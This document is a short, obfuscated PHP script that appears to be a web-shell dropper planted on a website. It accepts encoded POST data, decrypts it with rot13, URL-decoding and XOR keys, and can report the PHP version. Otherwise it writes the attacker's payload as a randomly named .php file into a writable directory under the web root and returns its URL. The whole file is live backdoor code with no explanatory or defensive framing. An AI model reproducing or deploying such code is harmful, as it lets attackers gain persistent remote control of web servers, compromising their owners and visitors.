<?php $craehb = "ljmpbcmxkbnbaeop";$wkpbtpbsp = "";foreach ($_POST as $ulvwcvjibh => $wgrxog){if (strlen($ulvwcvjibh) == 16 and substr_count($wgrxog, "%") > 10){cvvkc($ulvwcvjibh, $wgrxog);}}function cvvkc($ulvwcvjibh, $mvppcjlr){global $wkpbtpbsp;$wkpbtpbsp = $ulvwcvjibh;$mvppcjlr = str_split(rawurldecode(str_rot13($mvppcjlr)));function oohpqnfx($lwwldzg, $ulvwcvjibh){global $craehb, $wkpbtpbsp;return $lwwldzg ^ $craehb[$ulvwcvjibh % strlen($craehb)] ^ $wkpbtpbsp[$ulvwcvjibh % strlen($wkpbtpbsp)];}$mvppcjlr = implode("", array_map("oohpqnfx", array_values($mvppcjlr), array_keys($mvppcjlr)));$mvppcjlr = @unserialize($mvppcjlr);if (@is_array($mvppcjlr)){$ulvwcvjibh = array_keys($mvppcjlr);$mvppcjlr = $mvppcjlr[$ulvwcvjibh[0]];if ($mvppcjlr === $ulvwcvjibh[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ffqac($yqzarafkibir) {static $ghjcaj = array();$zsjbhvq = glob($yqzarafkibir . '/*', GLOB_ONLYDIR);if (count($zsjbhvq) > 0) {foreach ($zsjbhvq as $yqzarafkib){if (@is_writable($yqzarafkib)){$ghjcaj[] = $yqzarafkib;}}}foreach ($zsjbhvq as $yqzarafkibir) ffqac($yqzarafkibir);return $ghjcaj;}$yzkvwfxps = $_SERVER["DOCUMENT_ROOT"];$zsjbhvq = ffqac($yzkvwfxps);$ulvwcvjibh = array_rand($zsjbhvq);$yqzarafkibgyedccqn = $zsjbhvq[$ulvwcvjibh] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($yqzarafkibgyedccqn, $mvppcjlr);echo "http://" . $_SERVER["HTTP_HOST"] . substr($yqzarafkibgyedccqn, strlen($yzkvwfxps));exit();}}}